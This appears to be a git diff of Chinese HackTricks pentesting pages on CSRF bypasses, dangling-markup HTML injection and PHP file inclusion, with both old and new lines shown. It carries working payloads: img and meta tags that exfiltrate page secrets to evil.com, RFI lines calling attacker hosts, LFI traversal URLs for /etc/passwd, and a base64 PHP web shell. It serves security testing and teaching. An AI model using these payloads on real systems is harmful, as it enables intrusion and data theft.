- **CSRF 令牌**:在每个会话中入唯一的 CSRF 令牌,并要求在后续请求中使用该令牌,可以显著降低 CSRF 的风险。通过强制实施 CORS可以增强令牌的有效性。
- **修改参数名称**更改 POST 或 GET 请求中参数的名称可以帮助防止自动化攻击。
- **CSRF 令牌**:在每个会话中入唯一的 CSRF 令牌,并要求在后续请求中使用该令牌,可以显著降低 CSRF 的风险。通过强制实施 CORS可以增强令牌的有效性。
理解和实施这些防御措施对于维护 web 应用程序的安全性和完整性至关重要。
@ -47,7 +47,7 @@
### CSRF 令牌未与用户会话绑定
未将 CSRF 令牌与用户会话绑定的应用程序存在重大 **安全风险**。这些系统验证令牌是针对 **全局池** 而不是确保每个令牌绑定到发起会话
未将 CSRF 令牌与用户会话绑定的应用程序存在重大 **安全风险**。这些系统验证令牌是针对 **全局池**,而不是确保每个令牌与发起会话绑定
攻击者如何利用这一点:
@ -69,14 +69,14 @@
### 自定义头令牌绕过
如果请求在请求中添加了一个 **自定义头** **令牌** 作为 **CSRF 保护方法**,那么:
如果请求在请求中添加了一个 **自定义头**,并将 **令牌** 作为 **CSRF 保护方法**,那么:
- 测试不带 **自定义令牌和头** 的请求。
- 测试请求,使用确切 **相同长度但不同的令牌**
### CSRF 令牌通过 cookie 验证
应用程序可能通过在 cookie 和请求参数中复制令牌或通过设置 CSRF cookie 并验证后端发送的令牌是否与 cookie 中的值相对应来实现 CSRF 保护。应用程序通过检查请求参数中的令牌是否与 cookie 中的值一致来验证请求。
应用程序可能通过在 cookie 和请求参数中复制令牌来实现 CSRF 保护,通过设置 CSRF cookie 并验证后端发送的令牌是否与 cookie 中的值相对应。应用程序通过检查请求参数中的令牌是否与 cookie 中的值一致来验证请求。
然而,如果网站存在缺陷,允许攻击者在受害者的浏览器中设置 CSRF cookie例如 CRLF 漏洞,则此方法容易受到 CSRF 攻击。攻击者可以通过加载一个欺骗性图像来设置 cookie然后发起 CSRF 攻击。
@ -103,7 +103,7 @@ onerror="document.forms[0].submit();" />
</html>
```
> [!NOTE]
> 请注意,如果**csrf token与会话cookie相关则此攻击将无效**,因为您需要将会话设置为受害者,因此您将攻击自己。
> 请注意,如果**csrf token与会话cookie相关则此攻击将无效**,因为您需要设置受害者的会话,因此您实际上是在攻击自己。
### Content-Type 更改
@ -136,10 +136,10 @@ form.submit()
```
### 绕过 JSON 数据的预检请求
在尝试通过 POST 请求发送 JSON 数据时,直接在 HTML 表单中使用 `Content-Type: application/json` 是不可能的。同样,使用 `XMLHttpRequest` 发送这种内容类型会启动预检请求。然而,有一些策略可以潜在地绕过这一限制,并检查服务器是否处理 JSON 数据而不考虑 Content-Type
在尝试通过 POST 请求发送 JSON 数据时,直接在 HTML 表单中使用 `Content-Type: application/json` 是不可能的。同样,利用 `XMLHttpRequest` 发送此内容类型会启动预检请求。然而,有一些策略可以潜在地绕过此限制,并检查服务器是否处理 JSON 数据而不考虑 Content-Type
1. **使用替代内容类型**:通过在表单中设置 `enctype="text/plain"`使用 `Content-Type: text/plain``Content-Type: application/x-www-form-urlencoded`。这种方法测试后端是否利用数据而不考虑 Content-Type。
2. **修改内容类型**:为了避免预检请求,同时确保服务器将内容识别为 JSON可以发送 `Content-Type: text/plain; application/json`数据。这不会触发预检请求,但如果服务器配置为接受 `application/json`,可能会被正确处理。
1. **使用替代内容类型**:通过在表单中设置 `enctype="text/plain"`使用 `Content-Type: text/plain``Content-Type: application/x-www-form-urlencoded`。这种方法测试后端是否使用数据,而不考虑 Content-Type。
2. **修改内容类型**:为了避免预检请求,同时确保服务器将内容识别为 JSON您可以使用 `Content-Type: text/plain; application/json` 发送数据。这不会触发预检请求,但如果服务器配置为接受 `application/json`,可能会被正确处理。
3. **使用 SWF Flash 文件**:一种不太常见但可行的方法是使用 SWF Flash 文件来绕过此类限制。有关此技术的深入理解,请参阅 [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937)。
### 引用/来源检查绕过
@ -189,7 +189,7 @@ document.forms[0].submit()
```
### **HEAD 方法绕过**
[**这个 CTF 文章**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) 的第一部分解释了 [Oak 的源代码](https://github.com/oakserver/oak/blob/main/router.ts#L281),一个路由器被设置为 **将 HEAD 请求作为 GET 请求处理**,且没有响应体 - 这是一种常见的变通方法,并不是 Oak 独有的。它们并没有特定的处理程序来处理 HEAD 请求,而是 **直接交给 GET 处理程序,但应用程序只是移除了响应体**
[**这个 CTF 文章**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution)的第一部分解释了 [Oak 的源代码](https://github.com/oakserver/oak/blob/main/router.ts#L281),一个路由器被设置为 **将 HEAD 请求作为 GET 请求处理**,且没有响应体 - 这是一种常见的解决方法,并不是 Oak 独有的。它们并没有特定的处理程序来处理 HEAD 请求,而是 **直接交给 GET 处理程序,但应用程序只是移除了响应体**
因此,如果 GET 请求受到限制,你可以 **发送一个将被处理为 GET 请求的 HEAD 请求**
@ -197,7 +197,7 @@ document.forms[0].submit()
### **提取 CSRF 令牌**
如果 **CSRF 令牌** 被用作 **防御**,你可以尝试 **提取它**,利用 [**XSS**](xss-cross-site-scripting/#xss-stealing-csrf-tokens) 漏洞或 [**悬挂标记**](dangling-markup-html-scriptless-injection/) 漏洞。
如果正在使用 **CSRF 令牌** 作为 **防御**,你可以尝试 **利用** [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) 漏洞或 [**悬挂标记**](dangling-markup-html-scriptless-injection/) 漏洞**提取它**
### **使用 HTML 标签的 GET**
```xml
@ -205,7 +205,7 @@ document.forms[0].submit()
<h1>404 - Page not found</h1>
The URL you are requesting is no longer available
```
其他可以用自动发送 GET 请求的 HTML5 标签包括:
其他可以用自动发送 GET 请求的 HTML5 标签包括:
```html
<iframe src="..."></iframe>
<script src="..."></script>
@ -505,7 +505,7 @@ document.forms[0].submit.click()
}
</script>
```
### **窃取令牌并使用 2 个 iframe 发送**
### **窃取令牌并使用个 iframe 发送**
```html
<script>
var token;
@ -535,7 +535,7 @@ height="600" width="800"></iframe>
<button type="submit">Submit</button>
</form>
```
### **使用 Ajax 盗取 CSRF 令牌并通过表单发送 POST**
### **POST通过Ajax窃取CSRF令牌并发送带表单的POST**
```html
<body onload="getData()">
<form
@ -588,7 +588,7 @@ room: username,
```
## CSRF 登录暴力破解
该代码可用于通过 CSRF 令牌对登录表单进行暴力破解(它还使用了 X-Forwarded-For 头尝试绕过可能的 IP 黑名单):
该代码可用于通过 CSRF 令牌对登录表单进行暴力破解(它还使用了 X-Forwarded-For 头尝试绕过可能的 IP 黑名单):
```python
import request
import re

View File

@ -2,18 +2,18 @@
{{#include ../../banners/hacktricks-training.md}}
## 简介
## Resume
此技术可用于在发现**HTML注入**时从用户提取信息。如果您**找不到任何利用** [**XSS** ](../xss-cross-site-scripting/)的方法,但可以**注入一些HTML标签**,这非常有用。\
此技术可用于在发现**HTML注入**时从用户提取信息。如果您**找不到任何利用** [**XSS**](../xss-cross-site-scripting/)的方法,但可以**注入一些HTML标签**,这非常有用。\
如果某些**秘密以明文形式保存在HTML中**,并且您想要**从客户端提取**它,或者如果您想误导某些脚本执行,这也很有用。
这里提到的几种技术可以通过以意想不到的方式html标签、CSS、http-meta标签、表单、base等提取信息来绕过某些[**内容安全策略**](../content-security-policy-csp-bypass/)。
这里评论的几种技术可以通过以意想不到的方式html标签、CSS、http-meta标签、表单、base等提取信息来绕过某些[**内容安全策略**](../content-security-policy-csp-bypass/)。
## 主要应用
## Main Applications
### 偷取明文秘密
### Stealing clear text secrets
如果您在页面加载时注入`<img src='http://evil.com/log.cgi?`,受害者将向您发送所有在注入的`img`标签和代码中的下一个引号之间的代码。如果某个秘密以某种方式位于该块中,您将窃取它(您可以使用双引号做同样的事情,看看哪种使用方式更有趣)。
如果您在页面加载时注入`<img src='http://evil.com/log.cgi?`,受害者将向您发送所有在注入的`img`标签和代码中的下一个引号之间的代码。如果某个秘密位于该块中,您将窃取它(您可以使用双引号做同样的事情,看看哪更有趣)。
如果`img`标签被禁止例如由于CSP您也可以使用`<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
```html
@ -21,9 +21,9 @@
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
```
请注意,**Chrome 阻止包含 "<" 或 "\n" 的 HTTP URL**,因此您可以尝试其他协议方案,如 "ftp"。
请注意,**Chrome 阻止包含 "<" 或 "\n" 的 HTTP URL**,因此您可以尝试其他协议方案,如 "ftp"。
您还可以滥用 CSS `@import`(将发送所有代码,直到找到 ";"
您还可以滥用 CSS `@import`(将发送所有代码,直到找到 ";"
```html
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
@ -32,7 +32,7 @@
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
您还可以插入一个 `<base` 标签。所有信息将在引号关闭之前发送,但这需要一些用户交互(用户必须点击某个链接,因为基本标签将更改链接指向的域):
您还可以插入一个 `<base` 标签。所有信息将在引号关闭之前发送,但这需要一些用户交互(用户必须点击某个链接,因为 base 标签将更改链接指向的域):
```html
<base target=' <--- Injected
steal me'<b>test</b>
@ -41,7 +41,7 @@ steal me'<b>test</b>
```html
<base href="http://evil.com/" />
```
然后,发送数据到路径的表单(如 `<form action='update_profile.php'>`)将把数据发送到恶意域
然后,发送数据到路径的表单(如 `<form action='update_profile.php'>`)将把数据发送到恶意域。
### Stealing forms 2
@ -55,9 +55,9 @@ steal me'<b>test</b>
I get consumed!
</button>
```
攻击者可以利用这一点窃取信息。
攻击者可以利用此方法窃取信息。
这个[**报告中找到此攻击的示例**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)。
[**报告中找到此攻击的示例**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp)。
### 窃取明文秘密 2
@ -67,7 +67,7 @@ I get consumed!
```
该输入字段将包含其双引号之间的所有内容以及下一个双引号中的内容。这种攻击将“_**窃取明文秘密**_”与“_**窃取表单2**_”混合在一起。
您可以通过注入一个表单和一个`<option>`标签来做同样的事情。所有数据直到找到一个关闭的`</option>`都会被发送:
您可以通过注入一个表单和一个`<option>`标签来做同样的事情。直到找到一个关闭的`</option>`为止,所有数据将被发送:
```html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```
@ -90,19 +90,19 @@ I get consumed!
`<noscript></noscript>` 是一个标签,其内容将在浏览器不支持 JavaScript 时被解释(您可以在 [chrome://settings/content/javascript](chrome://settings/content/javascript) 中启用/禁用 JavaScript
一种将从注入点到页面底部的内容导出到攻击者控制的网站的方法是注入以下内容:
一种将从注入点到页面底部的网页内容导出到攻击者控制的网站的方法是注入以下内容:
```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
### 通过用户交互绕过CSP
### Bypassing CSP with user interaction
从这个 [portswiggers 研究](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) 中你可以了解到,即使在 **最严格的CSP** 环境中,你仍然可以通过一些 **用户交互****提取数据**。在这种情况下,我们将使用以下有效载荷:
从这个 [portswiggers research](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) 中你可以了解到,即使在 **最严格的 CSP** 环境中,你仍然可以通过一些 **用户交互****提取数据**。在这种情况下,我们将使用以下有效载荷:
```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
请注意,您将要求**受害者**点击一个**链接**,该链接将**重定向**他到您控制的**有效载荷**。还要注意,**`base`**标签中的**`target`**属性将包含**HTML内容**,直到下一个单引号。\
这将使得如果点击链接,**`window.name`**的**值**将是所有的**HTML内容**。因此,由于您**控制**受害者通过点击链接访问的页面,您可以访问该**`window.name`**并**提取**该数据:
这将使得如果点击链接,**`window.name`**的**值**将是所有的**HTML内容**。因此,由于您**控制了受害者**通过点击链接访问的页面,您可以访问该**`window.name`**并**提取**该数据:
```html
<script>
if(window.name) {
@ -180,13 +180,13 @@ onload="cspBypass(this.contentWindow)"></iframe>
### \<meta 滥用
您可以使用 **`meta http-equiv`** 执行 **多个操作**,例如设置 Cookie`<meta http-equiv="Set-Cookie" Content="SESSID=1">` 或执行重定向(在此情况下为 5 秒)`<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
您可以使用 **`meta http-equiv`** 执行 **多个操作**,例如设置 Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` 或执行重定向(在此情况下为 5 秒): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
这可以通过 **CSP****避免**,涉及 **http-equiv**`Content-Security-Policy: default-src 'self';``Content-Security-Policy: http-equiv 'self';`
这可以通过 **CSP****避免**,涉及 **http-equiv** `Content-Security-Policy: default-src 'self';``Content-Security-Policy: http-equiv 'self';`
### 新的 \<portal HTML 标签
您可以在 [这里](https://research.securitum.com/security-analysis-of-portal-element/) 找到关于 \<portal 标签可利用漏洞的 **有趣研究**。\
您可以在 [这里](https://research.securitum.com/security-analysis-of-portal-element/) 找到关于 \<portal 标签可利用漏洞的非常 **有趣研究**。\
在撰写本文时,您需要在 `chrome://flags/#enable-portals` 中启用 portal 标签,否则它将无法工作。
```html
<portal src='https://attacker-server?
@ -195,17 +195,17 @@ onload="cspBypass(this.contentWindow)"></iframe>
并非所有在 HTML 中泄露连接的方式都对 Dangling Markup 有用,但有时它可能会有所帮助。请在这里查看它们: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
## SS-漏洞
## SS-Leaks
这是 **dangling markup 和 XS-漏洞** 之间的 **混合**。一方面,漏洞允许在 **同源** 的页面中 **注入 HTML**(但不包括 JS。另一方面我们不会直接 **攻击** 可以注入 HTML 的页面,而是 **另一个页面**
这是 **dangling markup 和 XS-Leaks** 之间的 **混合**。一方面,漏洞允许在 **同源** 的页面中 **注入 HTML**(但不包括 JS。另一方面我们不会直接 **攻击** 可以注入 HTML 的页面,而是 **另一个页面**
{{#ref}}
ss-leaks.md
{{#endref}}
## XS-搜索/XS-漏洞
## XS-Search/XS-Leaks
XS-搜索旨在 **提取跨源信息**,利用 **侧信道攻击**。因此,这是一种不同于 Dangling Markup 的技术,然而,一些技术利用了 HTML 标签的包含(有和没有 JS 执行),如 [**CSS 注入**](../xs-search/#css-injection) 或 [**懒加载图像**](../xs-search/#image-lazy-loading)**。**
XS-Search 旨在 **外泄跨源信息**,利用 **侧信道攻击**。因此,这是一种不同于 Dangling Markup 的技术,然而,一些技术利用了 HTML 标签的包含(有和没有 JS 执行),如 [**CSS 注入**](../xs-search/index.html#css-injection) 或 [**懒加载图像**](../xs-search/index.html#image-lazy-loading)**。**
{{#ref}}
../xs-search/

View File

@ -7,13 +7,13 @@
**远程文件包含 (RFI):** 文件从远程服务器加载(最佳:您可以编写代码,服务器将执行它)。在 php 中,这个功能默认是 **禁用** 的 (**allow_url_include**)。\
**本地文件包含 (LFI):** 服务器加载本地文件。
当用户以某种方式控制将被服务器加载的文件时,就会发生漏洞。
当用户以某种方式控制将被服务器加载的文件时,就会发生漏洞。
易受攻击的 **PHP 函数**: require, require_once, include, include_once
一个有趣的工具来利用这个漏洞: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - 有趣 - LFI2RCE 文件
## Blind - Interesting - LFI2RCE 文件
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
@ -25,7 +25,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
尝试将 `/` 改为 `\`\
尝试将 `/` 改为 `\`\
尝试添加 `../../../../../`
一个使用多种技术查找文件 /etc/password以检查漏洞是否存在的列表可以在 [这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt) 找到。
@ -38,7 +38,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
尝试将 `/` 改为 `\`\
尝试将 `/` 改为 `\`\
尝试删除 `C:/` 并添加 `../../../../../`
一个使用多种技术查找文件 /boot.ini以检查漏洞是否存在的列表可以在 [这里](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt) 找到。
@ -49,7 +49,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
## 基本 LFI 和绕过
所有示例都是针对本地文件包含,但也可以应用于远程文件包含(页面=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>)。
所有示例都是针对本地文件包含,但也可以应用于远程文件包含(页面=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>)。
```
http://example.com/index.php?page=../../../etc/passwd
```
@ -61,11 +61,11 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **空字节 (%00)**
绕过在提供的字符串末尾附加更多字符的限制(绕过:$\_GET\['param']."php"
绕过在提供的字符串末尾附加更多字符(绕过:$\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
这是 **自 PHP 5.4 起已解决**
这是**自 PHP 5.4 起已解决**
### **编码**
@ -84,13 +84,13 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### 在服务器上探索文件系统目录
服务器的文件系统可以通过某些技术递归地探索,以识别目录,而不仅仅是文件。此过程涉及确定目录深度并探测特定文件夹的存在。以下是实现此目的详细方法:
服务器的文件系统可以通过某些技术递归地探索,以识别目录,而不仅仅是文件。此过程涉及确定目录深度并探测特定文件夹的存在。以下是实现此目的详细方法:
1. **确定目录深度:** 通过成功获取 `/etc/passwd` 文件来确定当前目录的深度适用于基于Linux的服务器。一个示例URL可能结构如下示深度为三:
1. **确定目录深度:** 通过成功获取 `/etc/passwd` 文件来确定当前目录的深度适用于基于Linux的服务器。一个示例URL可能结构如下示深度为三:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **探测文件夹:**怀疑的文件夹名称(例如,`private`)附加到 URL然后导航回 `/etc/passwd`。额外的目录级别需要将深度增加一个:
2. **探测文件夹:**可疑文件夹的名称(例如,`private`)附加到 URL然后导航回 `/etc/passwd`。额外的目录级别需要将深度增加一个:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
@ -99,21 +99,21 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
- **`/etc/passwd` 的内容:** 确认存在 `private` 文件夹。
4. **递归探索:** 发现的文件夹可以使用相同的技术或传统的本地文件包含 (LFI) 方法进一步探测子目录或文件。
要在文件系统的不同位置探索目录,请相应调整有效载荷。例如,要检查 `/var/www/` 是否包含 `private` 目录(假设当前目录深度为 3请使用
要在文件系统的不同位置探索目录,请相应调整有效载荷。例如,要检查 `/var/www/` 是否包含 `private` 目录(假设当前目录深度为 3请使用
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **路径截断技术**
路径截断是一种用于操纵 web 应用程序中文件路径的方法。它通常用于通过绕过某些安全措施来访问受限文件,这些安全措施会在文件路径的末尾附加额外字符。目标是构造一个文件路径,该路径在被安全措施修改后,仍然指向所需的文件。
路径截断是一种用于操纵Web应用程序中文件路径的方法。它通常用于通过绕过某些安全措施来访问受限文件,这些安全措施会在文件路径的末尾附加额外字符。目标是构造一个文件路径,该路径在被安全措施修改后,仍然指向所需的文件。
PHP 中,由于文件系统的性,文件路径的各种表示可以被视为等效。例如:
在PHP中由于文件系统的性,文件路径的各种表示可以被视为等效。例如:
- `/etc/passwd``/etc//passwd``/etc/./passwd` `/etc/passwd/` 都被视为相同的路径。
- 当最后 6 个字符是 `passwd` 时,附加一个 `/`(使其变为 `passwd/`)不会改变目标文件。
- 同样,如果在文件路径后附加 `.php`(如 `shellcode.php`),在末尾添加 `/.` 不会改变正在访问的文件。
- `/etc/passwd``/etc//passwd``/etc/./passwd``/etc/passwd/`都被视为相同的路径。
- 当最后6个字符为`passwd`时,附加一个`/`(使其变为`passwd/`)不会改变目标文件。
- 同样,如果在文件路径后附加`.php`(如`shellcode.php`),在末尾添加`/.`不会改变被访问的文件。
提供的示例演示了如何利用路径截断访问 `/etc/passwd`,这是一个由于其敏感内容(用户账户信息)而常见的目标:
提供的示例演示了如何利用路径截断访问`/etc/passwd`,这是一个由于其敏感内容(用户账户信息)而常见的目标:
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -126,10 +126,10 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
在这些场景中所需的遍历次数可能在2027左右但这个数字可能会根据服务器的配置而有所不同。
- **使用点段和附加字符**:遍历序列(`../`)与额外的点段和字符结合使用,可以用来导航文件系统,有效地忽略服务器附加的字符串。
- **确定所需的遍历次数**:通过反复试验,可以找到导航到根目录所需的精确`../`序列数量,然后`/etc/passwd`,确保任何附加的字符串(如`.php`)被中和,但所需的路径(`/etc/passwd`)保持不变。
- **确定所需的遍历次数**:通过反复试验,可以找到导航到根目录然后到`/etc/passwd`所需的精确`../`序列数量,确保任何附加的字符串(如`.php`)被中和,但所需的路径(`/etc/passwd`)保持不变。
- **从虚假目录开始**:通常的做法是以一个不存在的目录(如`a/`)开始路径。这种技术作为预防措施或满足服务器路径解析逻辑的要求。
在使用路径截断技术时,了解服务器的路径解析行为和文件系统结构至关重要。每种情况可能需要不同的方法,通常需要测试以找到最有效的方法
在使用路径截断技术时,了解服务器的路径解析行为和文件系统结构至关重要。每种场景可能需要不同的方法,通常需要测试以找到最有效的方式
**此漏洞在PHP 5.3中已被修复。**
@ -143,17 +143,17 @@ http://example.com/index.php?page=PhP://filter
```
## 远程文件包含
在php中这默认是禁用的因为 **`allow_url_include`** 是 **关闭的。** 必须将其设置为 **开启** 才能工作,在这种情况下,您可以从服务器包含一个PHP文件并获得RCE
在php中这默认是禁用的因为 **`allow_url_include`** 是 **关闭** 的。它必须是 **开启** 的才能工作,在这种情况下,你可以从你的服务器包含一个PHP文件并获得RCE
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
如果由于某种原因 **`allow_url_include`** 是 **开启** 的,但 PHP 正在 **过滤** 对外部网页的访问,[根据这篇文章](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以使用例如数据协议与 base64 来解码一个 b64 PHP 代码并获得 RCE
如果由于某种原因 **`allow_url_include`** 是 **开启** 的,但 PHP 正在 **过滤** 对外部网页的访问,[根据这篇文章](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/),你可以使用例如数据协议与 base64 来解码 b64 PHP 代码并获得 RCE
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!NOTE]
> 在之前的代码中,最后的 `+.txt` 被添加是因为攻击者需要一个以 `.txt` 结尾的字符串,因此字符串以它结尾,并且在 b64 解码后那部分将返回垃圾数据,真正的 PHP 代码将被包含(因此被执行)。
> 在之前的代码中,最后的 `+.txt` 被添加是因为攻击者需要一个以 `.txt` 结尾的字符串,因此字符串以它结尾,经过 b64 解码后那部分将返回垃圾数据,真正的 PHP 代码将被包含(因此被执行)。
另一个**不使用 `php://` 协议**的例子是:
```
@ -171,7 +171,7 @@ os.path.join(os.getcwd(), "public", file_name)
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
根据[文档](https://docs.python.org/3.10/library/os.path.html#os.path.join),这是预期的行为:
根据[文档](https://docs.python.org/3.10/library/os.path.html#os.path.join)的说明,这是预期的行为:
> 如果一个组件是绝对路径,则所有先前的组件都会被丢弃,并从绝对路径组件继续连接。
@ -226,10 +226,10 @@ PHP 过滤器允许在数据被读取或写入之前执行基本的 **修改操
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : 转换为不同的编码(`convert.iconv.<input_enc>.<output_enc>`)。要获取 **所有支持的编码** 列表,请在控制台中运行:`iconv -l`
- `convert.iconv.*` : 转换为不同的编码(`convert.iconv.<input_enc>.<output_enc>`)。要获取 **所有支持的编码列表**,请在控制台中运行:`iconv -l`
> [!WARNING]
> 滥用 `convert.iconv.*` 转换过滤器可以 **生成任意文本**,这可能对写入任意文本或使函数如包含过程处理任意文本有用。有关更多信息,请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)。
> 滥用 `convert.iconv.*` 转换过滤器可以 **生成任意文本**,这可能对写入任意文本或使函数如 include 处理任意文本有用。有关更多信息,请查看 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)。
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: 压缩内容(在提取大量信息时很有用)
@ -273,19 +273,19 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### 使用 php 过滤器作为 oracle 读取任意文件
[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在不从服务器返回输出的情况下读取本地文件的技术。该技术基于使用 php 过滤器作为 oracle 的 **布尔外泄文件(逐字符)**。这是因为 php 过滤器可以用来使文本变得足够大,从而使 php 抛出异常。
[**在这篇文章中**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 提出了一种在不从服务器返回输出的情况下读取本地文件的技术。该技术基于 **使用 php 过滤器作为 oracle 的文件布尔外泄(逐字符)**。这是因为 php 过滤器可以用来使文本变得足够大,从而使 php 抛出异常。
在原始文章中可以找到该技术的详细解释,但这里是一个快速总结:
- 使用编码 **`UCS-4LE`** 将文本的前导字符留在开头,并使字符串的大小呈指数级增长。
- 这将用于生成一个 **当初始字母正确猜测时变得如此庞大的文本**,以至于 php 会触发一个 **错误**
- 这将用于生成一个 **当初始字母正确猜测时变得如此庞大的文本**,以至于 php 会触发一个 **错误**
- **dechunk** 过滤器将 **删除所有内容,如果第一个字符不是十六进制**,因此我们可以知道第一个字符是否是十六进制。
- 这与前一个(以及其他根据猜测字母的过滤器结合将允许我们通过查看何时进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制dechunk 不会删除它,初始炸弹将导致 php 错误
- 这与前一个(以及根据猜测字母的其他过滤器结合将允许我们通过查看何时进行足够的转换使其不再是十六进制字符来猜测文本开头的字母。因为如果是十六进制dechunk 不会删除它,初始炸弹将使 php 出错
- 编码 **convert.iconv.UNICODE.CP930** 将每个字母转换为下一个字母因此在此编码后a -> b。这使我们能够发现第一个字母是否是 `a`,例如,因为如果我们应用 6 次此编码 a->b->c->d->e->f->g该字母不再是十六进制字符因此 dechunk 不会删除它php 错误被触发,因为它与初始炸弹相乘。
- 使用其他转换如 **rot13** 在开头可以泄露其他字符如 n, o, p, q, r其他编码可以用于将其他字母移动到十六进制范围
- 当初始字符是数字时,需要对其进行 base64 编码并泄露前两个字母以泄露该数字。
- 最后一个问题是查看 **如何泄露超过初始字母**。通过使用序内存过滤器如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 可以改变字符的顺序,并在文本的首位获取其他字母。
- 为了能够获取 **更多数据**,想法是 **在开头生成 2 字节的垃圾数据**,使用 **convert.iconv.UTF16.UTF16**,应用 **UCS-4LE** 使其 **与接下来的 2 字节进行枢轴**,并 **删除数据直到垃圾数据**(这将删除初始文本的前 2 字节)。继续这样做,直到达到所需的泄露
- 最后一个问题是 **如何泄露超过初始字母**。通过使用序内存过滤器如 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 可以改变字符的顺序,并在文本的首位获取其他字母。
- 为了能够获取 **更多数据**,想法是 **在开头生成 2 字节的垃圾数据**,使用 **convert.iconv.UTF16.UTF16**,应用 **UCS-4LE** 使其 **与接下来的 2 字节进行枢轴**,并 **删除数据直到垃圾数据**(这将删除初始文本的前 2 字节)。继续这样做,直到达到所需的位以泄露。
在文章中还泄露了一种自动执行此操作的工具:[php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit)。
@ -316,7 +316,7 @@ mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
```
### 数据://
### data://
```
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
@ -343,7 +343,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
```
### phar://
一个 `.phar` 文件可以在 web 应用程序利用 `include` 等函数进行文件加载时执行 PHP 代码。下面提供的 PHP 代码片段演示了如何创建一个 `.phar` 文件:
一个 `.phar` 文件可以在网络应用程序利用 `include` 等函数进行文件加载时执行 PHP 代码。下面提供的 PHP 代码片段演示了如何创建一个 `.phar` 文件:
```php
<?php
$phar = new Phar('test.phar');
@ -356,7 +356,7 @@ $phar->stopBuffering();
```bash
php --define phar.readonly=0 create_path.php
```
执行后,将创建一个名为 `test.phar` 的文件这可能被利用来利用本地文件包含LFI漏洞。
执行后,将创建一个名为 `test.phar` 的文件,这可能被利用来利用本地文件包含LFI漏洞。
